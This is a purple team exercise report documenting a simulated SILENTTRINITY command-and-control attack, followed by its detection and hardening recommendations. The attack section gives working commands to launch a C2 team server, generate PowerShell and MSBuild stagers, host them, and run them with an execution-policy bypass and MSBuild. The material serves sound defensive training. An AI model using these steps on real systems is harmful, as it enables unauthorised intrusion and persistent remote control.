Purple Team Lifecycle

Overall Status: **Completed**

PB1130 – Command & Control w/SILENTTRINITY and Hunt

Lifecycle Project Manager
Kent Ickler
Office: 605-939-0331
Email: kent@defensiveorigins.com

- Lifecycle Kickoff: 2/1/2021
- Simulation Start: 2/3/2021
- Simulation End: 2/6/2021
- Configuration Identified: 11/29/2020
- Change Management Referred: 2/6/2021
- Configuration Deployed: TBD

Status Code Legend
- Attack Simulation
- Defense Simulation
- System Configuration Change
- Information

APT Lifecycle
Ingest and Research

- Lifecycle Type: **Attack Simulation**
- Lifecycle Objective: **Alert**
- Ingest Source: Common Execution

MITRE T1059.001 [PowerShell]
- https://attack.mitre.org/techniques/T1059/001/

MITRE T1127.001 [MSBuild]
- https://attack.mitre.org/techniques/T1127/001/

- Use SILENTTRINITY C2 Framework to attempt to gain access to the secured domain environment and establish a command and control session.

Attack methodology

- Launch SILENTTRINITY Team Server, Connect

```
1$) python3.8 st.py teamserver --port 81 10.10.98.20 APTClass!
2$) python st.py client wss://aptclass:APTClass\!@10.10.98.20:81
```

- Build stage listener

```
listeners
use https
set port 4444
start
```

- Build malware stagers

```
stagers
use powershell
generate https
use msbuild
generate https
```

- Server Malware

```
mv stager.* /opt/web
cd /opt/web
python3 -m http.server
```

- Download malware on workstation. http://10.10.98.228:8000
- Execute malware on network workstation.

```
powershell -ep bypass
Import-Module .\Downloads\stager.ps1
```

- Execute malware via Trusted Developer Tools (T1127)

```
cd c:\Windows\Microsoft.NET\Framework64\v4.0.30319\
MSBuild.exe c:\Users\itadmin\Downloads\stager.xml
```

	• Confirm new SILENTTRINITY sessions
	`sessions`
	`list`

Defense methodology	• Search within optics stack for evidence of execution. • Reduce attack footprint by limiting PowerShell and trusted OS binaries.
Lifecycle Adjustments	• Within sysmon logs, note "msbuild.exe" and "T1218" • This indicates that msbuild was responsible for launching the payload. This is not typical behavior or msbuild. • Consider implementing network packet tools (RITA / AIHunter / Zeek / Suricata) for beacon analysis.
Change Management	• Deploy updated logging adjustments as defined to production optics stack. • Effected Users: N/A • Rollback: Remove logging configuration/search query
Lessons Learned	• PowerShell-based network connections should be monitored. • This type of behavior is not typical of msbuild.exe. • Network packets and hunting with Sysmon Event ID 3 can tell an interesting story.